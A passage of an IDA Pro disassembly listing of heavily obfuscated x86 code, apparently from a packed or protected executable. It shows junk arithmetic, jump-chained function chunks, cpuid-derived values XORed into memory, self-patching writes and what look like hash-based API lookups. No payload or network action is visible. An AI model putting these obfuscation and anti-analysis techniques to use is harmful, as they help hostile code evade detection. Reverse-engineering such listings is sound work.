loc_42DF01:				; CODE XREF: sub_425BAD+C3Ej
		add	eax, 0EDE6DD98h
		sub	eax, 606DEF5Fh
		xor	eax, 4FE9236Bh
		add	eax, ebp
		jmp	loc_42DCDD
; END OF FUNCTION CHUNK	FOR sub_425BAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E0C4


loc_42DF1A:				; CODE XREF: sub_42E0C4:loc_426ADDj
		jz	loc_42677B
		jp	loc_426F5E
		rol	ecx, 9
		adc	ebp, edi
		jmp	loc_426773
; END OF FUNCTION CHUNK	FOR sub_42E0C4
; ---------------------------------------------------------------------------


loc_42DF30:				; CODE XREF: _7hdaygc1:loc_428F48j
		xor	[esi], edx
		jmp	loc_42E180
; ---------------------------------------------------------------------------


loc_42DF37:				; CODE XREF: _7hdaygc1:0042B818j
		push	offset sub_429D1B
		jmp	loc_42965A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD73


loc_42DF41:				; CODE XREF: sub_42DD73:loc_428DD7j
		or	edx, 9BF84B99h
		test	edx, 40000000h
		jmp	loc_42EBBE
; END OF FUNCTION CHUNK	FOR sub_42DD73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4253A0


loc_42DF52:				; CODE XREF: sub_4253A0+8A9Bj
		jnb	loc_427E71
		push	edi
		or	eax, ebx
		jmp	loc_424BD5
; END OF FUNCTION CHUNK	FOR sub_4253A0
; ---------------------------------------------------------------------------
		mov	[esi], edx
		jmp	sub_42E94F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_42DF67:				; CODE XREF: sub_426130-2052j
					; sub_42FCD3:loc_42579Ej ...
		js	loc_4287E4
		push	edx
		push	7971E72Bh
		pop	edx
		xor	edx, 6EC667F0h
		or	edx, 3A7B99F7h
		jmp	loc_4288F4
; END OF FUNCTION CHUNK	FOR sub_426130
; ---------------------------------------------------------------------------
		jbe	loc_4289A0
		jmp	loc_424E78
; ---------------------------------------------------------------------------


loc_42DF90:				; CODE XREF: _7hdaygc1:0042318Aj
		sbb	edx, eax
		jmp	sub_424AE1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_89. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_42DF98:				; CODE XREF: _7hdaygc1:004236CAj
					; sub_426130-A11j
		and	eax, 0B9603080h
		add	eax, 59EC461Ah
		sub	eax, ds:4000F8h
		xor	eax, 0EC8E189Bh


loc_42DFB0:				; CODE XREF: _7hdaygc1:loc_426B91j
		add	edi, eax


loc_42DFB2:				; CODE XREF: _7hdaygc1:loc_424F29j
		pop	eax
		jmp	loc_42D37F
; END OF FUNCTION CHUNK	FOR sub_426130
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_42DFB8:				; CODE XREF: sub_423172:loc_429FD5j
		pushf
		push	68363219h
		pop	eax
		add	eax, 0A06FC8EFh
		xor	eax, 8090C33Dh
		jmp	loc_429DBA
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------


loc_42DFD0:				; CODE XREF: _7hdaygc1:loc_4246C2j
		jz	loc_429F05
		jmp	loc_42B1E3
; ---------------------------------------------------------------------------


loc_42DFDB:				; CODE XREF: _7hdaygc1:0042B141j
		push	55BF13E7h
		pop	edx
		and	edx, 0C2EB0CF3h
		or	edx, 3CC9968Eh
		add	edx, 8356EC44h
		popf
		xchg	edx, [esp]
		jmp	loc_42BF32
; ---------------------------------------------------------------------------


loc_42DFFC:				; DATA XREF: _7hdaygc1:loc_423681o
		push	623EE207h
		pop	edi
		and	edi, 0BFA613DDh
		sub	edi, 9F379A65h
		or	edi, 0BD34F5F0h
		add	edi, 4043CD0Ah
		xchg	edi, [esp]
		jmp	loc_42AA5F
; ---------------------------------------------------------------------------


loc_42E022:				; CODE XREF: _7hdaygc1:loc_42F04Ej
		xchg	edi, [esp]
		push	71609A2Ah
		sub	ebx, edi
		jmp	loc_423D65
; ---------------------------------------------------------------------------


loc_42E031:				; CODE XREF: _7hdaygc1:loc_42B938j
		rol	edx, 15h
		mov	[esi], edi
		popf
		jmp	loc_429D44
; ---------------------------------------------------------------------------


loc_42E03C:				; CODE XREF: _7hdaygc1:0042C627j
		jz	loc_42C8FB
		jmp	loc_428F07
; ---------------------------------------------------------------------------


loc_42E047:				; CODE XREF: _7hdaygc1:loc_42B349j
					; _7hdaygc1:0042B35Dj
		call	sub_426471
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42E04C:				; CODE XREF: sub_42C443:loc_42F235j
		jmp	loc_42D974
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BB83


loc_42E051:				; CODE XREF: sub_42BB83+12j
		jmp	loc_42ACCD
; END OF FUNCTION CHUNK	FOR sub_42BB83
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_91. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EF91


loc_42E057:				; CODE XREF: sub_42EF91-4E47j
		jmp	sub_42C16F
; END OF FUNCTION CHUNK	FOR sub_42EF91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424BE6


loc_42E05C:				; CODE XREF: sub_424BE6:loc_42E27Ej
		push	4E3994F8h
		pop	ebx
		or	ebx, 0C16BB698h
		rol	ebx, 0Bh
		add	ebx, 228AB8EAh
		jmp	loc_423B03
; END OF FUNCTION CHUNK	FOR sub_424BE6

; =============== S U B	R O U T	I N E =======================================



sub_42E076	proc near		; CODE XREF: sub_423DFC:loc_42EE0Cp
					; _7hdaygc1:0042EEA7j

; FUNCTION CHUNK AT 004251B3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004253C1 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00427874 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DD14 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042E779 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E8B8 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [ebp-4]
		cmp	dword ptr [eax], 0
		jnz	loc_42CDEC


loc_42E086:				; CODE XREF: sub_42C50D:loc_42CD19j
		jmp	loc_427874
sub_42E076	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_177. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C3B


loc_42E08C:				; CODE XREF: sub_425C3B:loc_423488j
					; DATA XREF: sub_42E32F+Do
		call	sub_42D757
		mov	edx, 0A22F8A70h
		call	sub_42C763
		mov	ds:dword_427C84, eax
		call	sub_42D757
		mov	edx, 0A2CD59D9h
		call	sub_42C763
		mov	ds:dword_423B1C, eax
		jmp	nullsub_138
; END OF FUNCTION CHUNK	FOR sub_425C3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_42E0B9:				; CODE XREF: sub_42E283:loc_42528Ej
		jnz	loc_42DD98
		jmp	loc_42CB06
; END OF FUNCTION CHUNK	FOR sub_42E283

; =============== S U B	R O U T	I N E =======================================



sub_42E0C4	proc near		; CODE XREF: sub_4291EA-389Ej
					; _7hdaygc1:004281D5j ...

; FUNCTION CHUNK AT 00426773 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00426ADD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426F5E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00428973 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00428EB1 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004290D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DF1A SIZE 00000016 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	42C69EA4h
		pop	eax
		and	eax, ds:4000F7h
		rol	eax, 1Bh
		test	eax, 20h
		jmp	loc_426ADD
sub_42E0C4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42E0E2	proc near		; DATA XREF: _7hdaygc1:00426CFBo

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042F539 SIZE 00000014 BYTES

		push	edx
		push	0E4FEBE7Fh
		xchg	esi, [esp+8+var_8]
		mov	edx, esi
		pop	esi
		or	edx, 5A6C9ECDh
		jmp	loc_42F539
sub_42E0E2	endp

; ---------------------------------------------------------------------------
		xor	edi, ebp
		jmp	loc_42E346
; ---------------------------------------------------------------------------


loc_42E100:				; CODE XREF: _7hdaygc1:0042C6CCj
		jnz	loc_429777
		or	esi, ebx
		cmp	edx, edi
		jmp	loc_42AF40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED4E


loc_42E10F:				; CODE XREF: sub_42ED4E:loc_42B22Fj
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		cpuid
		add	[esi], eax
		xor	[esi], ebx
		add	[esi], ecx
		jmp	loc_429369
; END OF FUNCTION CHUNK	FOR sub_42ED4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423752


loc_42E122:				; CODE XREF: sub_423752+BAC9j
		or	eax, 22606F38h
		xor	eax, 0B67DEFBDh
		cmp	edi, eax
		pop	eax
		jbe	loc_426F9F
		jmp	loc_428DD2
; END OF FUNCTION CHUNK	FOR sub_423752
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FD68


loc_42E13C:				; CODE XREF: sub_42FD68:loc_425839j
		pop	ecx
		rol	ecx, 1
		jb	loc_425773
		or	ecx, 4CE64C5Fh
		jmp	loc_425770
; END OF FUNCTION CHUNK	FOR sub_42FD68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424744


loc_42E150:				; CODE XREF: sub_424744:loc_4245E9j
					; sub_424744+479Dj
		push	esi
		push	0F8FEB054h
		pop	esi
		and	esi, 0F3A5556h
		test	esi, 2000h


loc_42E163:				; CODE XREF: sub_423DDB+B40Fj
		jmp	loc_42F941
; END OF FUNCTION CHUNK	FOR sub_424744

; =============== S U B	R O U T	I N E =======================================



sub_42E168	proc near		; CODE XREF: _7hdaygc1:004270B3j
					; sub_42F9D2+9p

; FUNCTION CHUNK AT 00423E66 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		cpuid
		xor	[esi], ebx
		push	offset loc_42B80E
		jmp	loc_423E66
sub_42E168	endp

; ---------------------------------------------------------------------------
		dw 0E04Ah
dword_42E17C	dd 4060843Eh	; ---------------------------------------------------------------------------


loc_42E180:				; CODE XREF: _7hdaygc1:0042DF32j
		jmp	loc_42E845
; ---------------------------------------------------------------------------
		db 97h,	0A7h, 0DCh
dword_42E188	dd 263ADF2h						; sub_42A052+Ar ...
dword_42E18C	dd 8308AD7Ch	; ---------------------------------------------------------------------------


loc_42E190:				; CODE XREF: _7hdaygc1:00427FBCj
		jmp	loc_4260E4
; ---------------------------------------------------------------------------
		db 0ACh, 76h, 4Bh
dword_42E198	dd 0B21BB419h, 39DB8D10h, 1D70D572h, 98C56h					; sub_42BB83+3o ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429CCF


loc_42E1A8:				; CODE XREF: sub_429CCF+13j
		jmp	loc_42F888
; END OF FUNCTION CHUNK	FOR sub_429CCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42821A


loc_42E1AD:				; CODE XREF: sub_42821A-4A10j
		jmp	loc_423056
; END OF FUNCTION CHUNK	FOR sub_42821A
; ---------------------------------------------------------------------------
		dw 0C932h
dword_42E1B4	dd 0D3991F2h	; ---------------------------------------------------------------------------


loc_42E1B8:				; CODE XREF: _7hdaygc1:004294F3j
		jmp	loc_42A721
; ---------------------------------------------------------------------------


loc_42E1BD:				; CODE XREF: _7hdaygc1:00423D99j
		jmp	loc_42BF7B
; ---------------------------------------------------------------------------
		dw 0C20h
dword_42E1C4	dd 4F39F20Dh						; sub_424755:loc_42AFEBr ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4288FE


loc_42E1C8:				; CODE XREF: sub_4288FE+7175j
		jmp	loc_42D92F
; END OF FUNCTION CHUNK	FOR sub_4288FE
; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_427FA5
		jmp	loc_42FB99
; ---------------------------------------------------------------------------


loc_42E1DA:				; DATA XREF: sub_426B1A+4291o
		pop	ecx
		pop	ebx
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424CE0


loc_42E1DD:				; CODE XREF: sub_424CE0+7j
		jmp	loc_429F63
; END OF FUNCTION CHUNK	FOR sub_424CE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291A3


loc_42E1E2:				; CODE XREF: sub_4291A3-503Dj
					; sub_4291A3-1281j
		mov	eax, ds:dword_425154
		call	sub_42C119


loc_42E1EC:				; CODE XREF: sub_42CB0F+Bj
		jmp	loc_42D26D
; END OF FUNCTION CHUNK	FOR sub_4291A3

; =============== S U B	R O U T	I N E =======================================



sub_42E1F1	proc near		; DATA XREF: sub_42E51C:loc_42CA79o

; FUNCTION CHUNK AT 0042B29F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C023 SIZE 00000018 BYTES

		push	ebp
		mov	eax, [ebp-20h]
		call	sub_42A104
		pop	ecx
		call	sub_42C6A0


loc_42E200:				; CODE XREF: sub_42F1C6-4BDBj
		jmp	loc_42C023
sub_42E1F1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42E205	proc near		; CODE XREF: _7hdaygc1:0042922Dj
					; _7hdaygc1:0042AE23p

; FUNCTION CHUNK AT 0042981A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042B9B0 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xor	eax, 7090F862h
		add	eax, ebp
		jmp	loc_42B9B0
sub_42E205	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423752


loc_42E216:				; CODE XREF: sub_423752:loc_42F1B6j
		xchg	ebp, edi
		and	esi, ebx
		or	ebx, ebp
		jmp	loc_42F930
; END OF FUNCTION CHUNK	FOR sub_423752
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DA74


loc_42E221:				; CODE XREF: sub_42DA74:loc_423528j
		rol	eax, 0Ah
		add	eax, 0AC9A92ABh
		xchg	eax, [esp+4+var_4]
		jmp	loc_42EE11
; END OF FUNCTION CHUNK	FOR sub_42DA74
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D002


loc_42E233:				; CODE XREF: sub_42D002-8634j
		jmp	loc_424176
; END OF FUNCTION CHUNK	FOR sub_42D002
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C48C


loc_42E238:				; CODE XREF: sub_42C48C:loc_42A4F8j
		cmp	dword ptr [eax-0Ch], 4
		jnz	loc_42E24B


loc_42E242:				; CODE XREF: _7hdaygc1:0042C3BEj
		add	dword ptr [ebp-8], 4
		jmp	loc_42F5F3
; ---------------------------------------------------------------------------


loc_42E24B:				; CODE XREF: sub_42C48C+1DB0j
		add	dword ptr [ebp-8], 2
		jmp	loc_4258AC
; END OF FUNCTION CHUNK	FOR sub_42C48C

; =============== S U B	R O U T	I N E =======================================



sub_42E254	proc near		; CODE XREF: sub_423648+5A9p
					; sub_423648+4DD0p

; FUNCTION CHUNK AT 0042357A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042531C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042678C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427E2C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042806D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00429059 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429BF2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EE21 SIZE 00000010 BYTES

		push	ebp
		jmp	loc_42678C
sub_42E254	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4232C2


loc_42E25A:				; CODE XREF: sub_4232C2:loc_428637j
		ja	loc_42E67C
		jmp	loc_42D3E8
; END OF FUNCTION CHUNK	FOR sub_4232C2

; =============== S U B	R O U T	I N E =======================================



sub_42E265	proc near		; DATA XREF: sub_42E205:loc_429820o
		mov	ecx, [ebp-30h]
		push	offset sub_423A7D
		jmp	nullsub_175
sub_42E265	endp

; ---------------------------------------------------------------------------


loc_42E272:				; CODE XREF: _7hdaygc1:00429D09j
		push	edx
		mov	edx, eax
		xchg	edx, [esp]
		retn
; ---------------------------------------------------------------------------


loc_42E279:				; CODE XREF: _7hdaygc1:0042CD65j
		jmp	loc_424C9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424BE6


loc_42E27E:				; CODE XREF: sub_424BE6+2j
		jmp	loc_42E05C
; END OF FUNCTION CHUNK	FOR sub_424BE6

; =============== S U B	R O U T	I N E =======================================



sub_42E283	proc near		; CODE XREF: sub_42AFFE:loc_42E7C1p

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 004243A0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004244BA SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042528E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004255D4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00425883 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00426E23 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042989F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00429AB5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A269 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042A27B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042A7DF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A8D9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042A8FB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042A9B5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042B2BF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042B872 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C090 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042C360 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042CB06 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042DD90 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042E0B9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E2F6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E53D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EB52 SIZE 00000005 BYTES

		jns	loc_42A27B
		xor	eax, eax
		call	sub_424DF3
		jmp	loc_42A8D9
sub_42E283	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DBF7


loc_42E296:				; CODE XREF: sub_42DBF7-307Dj
		jmp	nullsub_147
; END OF FUNCTION CHUNK	FOR sub_42DBF7

; =============== S U B	R O U T	I N E =======================================



sub_42E29B	proc near		; CODE XREF: sub_425E64-1811p
					; sub_42A607-4DEj ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423C4F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00425CE7 SIZE 00000011 BYTES

		jnb	sub_428342
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		xchg	esi, [esp+8+var_8]
		mov	esp, ebp
		jmp	loc_425CE7
sub_42E29B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6C3


loc_42E2B1:				; CODE XREF: sub_42A6C3:loc_428A58j
		pop	eax
		and	eax, 388C274Ah
		jnz	loc_42EB6D
		not	ebp


loc_42E2C0:				; CODE XREF: _7hdaygc1:loc_429E2Fj
		jbe	loc_42DE95
		ror	esi, 11h
		jmp	loc_42EB6D
; END OF FUNCTION CHUNK	FOR sub_42A6C3
; ---------------------------------------------------------------------------


loc_42E2CE:				; DATA XREF: sub_4291A3+40CBo
		push	0BF359D5Eh
		pop	ebx
		rol	ebx, 17h
		push	offset sub_426738
		jmp	loc_4252D8
; ---------------------------------------------------------------------------

locret_42E2E1:				; CODE XREF: _7hdaygc1:loc_424FE0j
		retn
; ---------------------------------------------------------------------------
		dw 8A0Fh
		dd 0FFFFCC4Eh, 7762D781h, 7FE9BDE4h
		db 9Ch,	2 dup(0FFh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_170. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_42E2F4	proc near		; DATA XREF: sub_425C2C+7C3Fo
		pop	ebp
		retn
sub_42E2F4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_42E2F6:				; CODE XREF: sub_42E283-89F3j
		jmp	loc_426E23
; END OF FUNCTION CHUNK	FOR sub_42E283
; ---------------------------------------------------------------------------


loc_42E2FB:				; CODE XREF: _7hdaygc1:0042BF0Fj
		mov	eax, [ebp+8]
		push	offset sub_42CA28
		jmp	loc_42EB4D
; ---------------------------------------------------------------------------
		test	al, al
		jz	nullsub_83
		jmp	loc_427360
; ---------------------------------------------------------------------------


loc_42E315:				; DATA XREF: sub_426941+1o
		mov	ebp, esp
		push	ebp
		mov	ebp, ecx
		xchg	ebp, [esp]
		mov	esp, ebp
		push	offset sub_42D980
		jmp	locret_4247A5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_164. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42E32A:				; CODE XREF: _7hdaygc1:004247F3j
		jmp	loc_42B656

; =============== S U B	R O U T	I N E =======================================



sub_42E32F	proc near		; CODE XREF: _7hdaygc1:0042BF06p
					; _7hdaygc1:0042D6B2j

; FUNCTION CHUNK AT 004231BC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429583 SIZE 00000012 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		jno	loc_429583
		mov	byte ptr [eax],	0C3h
		push	offset loc_42E08C
		jmp	loc_4231BC
sub_42E32F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42E346:				; CODE XREF: _7hdaygc1:0042E0FBj
		popf

; =============== S U B	R O U T	I N E =======================================



sub_42E347	proc near		; CODE XREF: sub_42653E+1F8Dp

; FUNCTION CHUNK AT 0042C427 SIZE 0000000C BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		call	sub_4237DA
		cmp	eax, [ebp-8]
		jnz	loc_4237C9
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		jmp	loc_42C427
sub_42E347	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42E364:				; DATA XREF: sub_42E481+Bo
		mov	al, 1
		push	offset sub_42EFBC
		jmp	loc_42F446
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42567E


loc_42E370:				; CODE XREF: sub_42567E:loc_4248D5j
		xor	ebx, 1C625C11h
		and	edx, ebx
		pop	ebx
		xor	[esi], edx
		cmp	edi, 80000001h
		jbe	loc_426F9F
		jmp	loc_42C4A2
; END OF FUNCTION CHUNK	FOR sub_42567E
; ---------------------------------------------------------------------------
		cmp	ebp, 0BB8A7DBEh
		jmp	loc_42535A
; ---------------------------------------------------------------------------


loc_42E397:				; DATA XREF: sub_425735:loc_425DF6o
		jnz	loc_4243FB
		mov	eax, ebx
		jmp	loc_4243FD

; =============== S U B	R O U T	I N E =======================================



sub_42E3A4	proc near		; CODE XREF: _7hdaygc1:00423727p
					; sub_42F9D2-C12Cp ...
		mov	eax, [ebx+ecx]
		xor	eax, [ebx+ecx+4]
		cmp	eax, 7C61090Eh
		retn
sub_42E3A4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42E3B1:				; CODE XREF: sub_4291EA+2BA3j
		jmp	loc_42819F
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42874A


loc_42E3B6:				; CODE XREF: sub_42874A+Fj
		pop	esi
		sub	esi, 80880C81h
		add	esi, 4EDDBD18h
		add	esi, ebp
		push	edi
		push	83390CB0h
		jmp	loc_4249D3
; END OF FUNCTION CHUNK	FOR sub_42874A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426B1A


loc_42E3D0:				; CODE XREF: sub_426B1A:loc_42B10Cj
		push	offset loc_42ADA0
		jmp	nullsub_87
; END OF FUNCTION CHUNK	FOR sub_426B1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D84A


loc_42E3DA:				; CODE XREF: sub_42D84A:loc_42C8BCj
		or	eax, 1EB6AFF7h
		sub	eax, 0DBF0EBD4h
		xor	eax, 42C5D423h
		popf
		xchg	eax, [esp+8+var_8]
		call	sub_428C3B
		push	edx
		jmp	loc_42E738
; END OF FUNCTION CHUNK	FOR sub_42D84A
; ---------------------------------------------------------------------------


loc_42E3FB:				; CODE XREF: _7hdaygc1:00425F16j
					; _7hdaygc1:0042C6D2j
		mov	esi, edi
		jmp	loc_42CCA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D84A


loc_42E402:				; CODE XREF: sub_42D84A:loc_4297D9j
		pop	ecx
		sub	ecx, 3A19A9C3h
		rol	ecx, 0Fh
		xor	ecx, 0B456EB3Ah
		jns	loc_42720A


loc_42E418:				; CODE XREF: _7hdaygc1:0042CFFDj
		jmp	loc_428321
; END OF FUNCTION CHUNK	FOR sub_42D84A

; =============== S U B	R O U T	I N E =======================================



sub_42E41D	proc near		; CODE XREF: _7hdaygc1:0042C90Dj
					; sub_42CDF7+9p
		xchg	edi, [esp+0]
		pop	edi
		jnz	loc_42F5D2
		call	sub_42D757
		mov	edx, 0B9726E5Ah
		call	sub_42C1AF
		jmp	loc_42C011
sub_42E41D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42E43B	proc near		; DATA XREF: _7hdaygc1:00426F3Co

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00425864 SIZE 00000005 BYTES

		push	ebx
		push	4CB79DD2h
		pop	ebx
		and	ebx, 0A7E12F6Eh
		add	ebx, 0FB5EF2BEh
		xchg	ebx, [esp+4+var_4]
		call	sub_426941
		push	ecx
		jmp	loc_425864
sub_42E43B	endp

; ---------------------------------------------------------------------------
		push	0A9C59F1Fh
		jmp	sub_42EBD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426EBD


loc_42E466:				; CODE XREF: sub_426EBD:loc_4235FEj
		xor	ebx, 44D517A8h
		xchg	ebx, [esp+4+var_4]
		push	edx
		push	7499FFA3h
		pop	edx
		sub	edx, 0FD19EE31h
		jmp	loc_428B2B
; END OF FUNCTION CHUNK	FOR sub_426EBD

; =============== S U B	R O U T	I N E =======================================



sub_42E481	proc near		; CODE XREF: sub_424981+5p
					; _7hdaygc1:0042C4AFj

; FUNCTION CHUNK AT 0042B990 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	ebp, [eax]
		add	eax, 4
		mov	edx, [eax]
		push	offset loc_42E364
		jmp	loc_42B990
sub_42E481	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429EBB


loc_42E496:				; CODE XREF: sub_429EBB:loc_426711j
		add	[esi], ebx
		xor	[esi], edx
		jmp	loc_42AE63
; END OF FUNCTION CHUNK	FOR sub_429EBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429318


loc_42E49F:				; CODE XREF: sub_429318-3E24j
					; sub_42821A+Bj ...
		xor	eax, eax
		call	sub_42D471
		push	eax
		push	ecx
		push	542E2822h
		jmp	loc_42FD46
; END OF FUNCTION CHUNK	FOR sub_429318

; =============== S U B	R O U T	I N E =======================================



sub_42E4B2	proc near		; CODE XREF: _7hdaygc1:0042628Fj
					; sub_42AA07p

; FUNCTION CHUNK AT 0042F1DD SIZE 0000000A BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ebp
		mov	ebp, esp
		jno	loc_42F1DD
		add	esp, 0FFFFFFF8h
		mov	[ebp-8], edx
		jmp	loc_4267F1
sub_42E4B2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F27


loc_42E4CA:				; CODE XREF: sub_425F27:loc_42568Cj
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_425F27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4263AB


loc_42E4CD:				; CODE XREF: sub_4263AB:loc_428DDCj
		push	ecx
		mov	ecx, ebp
		jmp	loc_42908E
; END OF FUNCTION CHUNK	FOR sub_4263AB
; ---------------------------------------------------------------------------


loc_42E4D5:				; CODE XREF: _7hdaygc1:00426BC6j
		sub	edi, esi

; =============== S U B	R O U T	I N E =======================================



sub_42E4D7	proc near		; CODE XREF: sub_42B265:loc_4293BFp

; FUNCTION CHUNK AT 00424420 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424D0F SIZE 00000005 BYTES
